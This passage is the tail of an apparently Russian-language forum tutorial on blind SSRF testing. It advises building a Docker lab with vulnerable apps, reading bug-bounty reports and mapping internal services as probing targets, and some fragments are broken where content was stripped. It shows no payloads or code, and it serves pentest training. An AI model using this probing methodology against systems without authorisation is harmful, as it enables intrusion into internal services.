), чтобы визуально видеть кластеры. Добавь поддержку разных протоколов (не только HTTP в параметре, но и возможность инъекции в заголовки
,
).
- Создай или найди среду для тренировок. Docker-композ с уязвимым приложением, внутренним Redis, и заблокированным, но существующим мета-сервисом. OWASP Juice Shop, DVWA с модификациями - подойдет все.
- Читай отчеты. На
,
ищется blind ssrf. Смотри, как другие находят эти едва заметные аномалии. Учись формулировать доказательства. Потому что слепую SSRF еще нужно убедительно продать заказчику, показав статистику, а не просто скриншот.
- Думай об архитектуре. Когда смотришь на приложение, мысленно рисуй карту: что может быть за фасадом? Балансировщики, кеши, базы данных, очереди сообщений, сервисы мониторинга (
), системы оркестрации. Каждый из них - потенциальная цель для слепого зондирования.
Держи хвост пистолетом. Но помни, что в мире слепых атак важнее не скорость выстрела, а умение по эху определить размер комнаты, материал стен и расстояние до цели.
Код - это закон, который ты изучаешь, чтобы найти в нем исключения.
Сеть - это поле боя, где главное преимущество - не огневая мощь, а превосходство в наблюдении и анализе.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|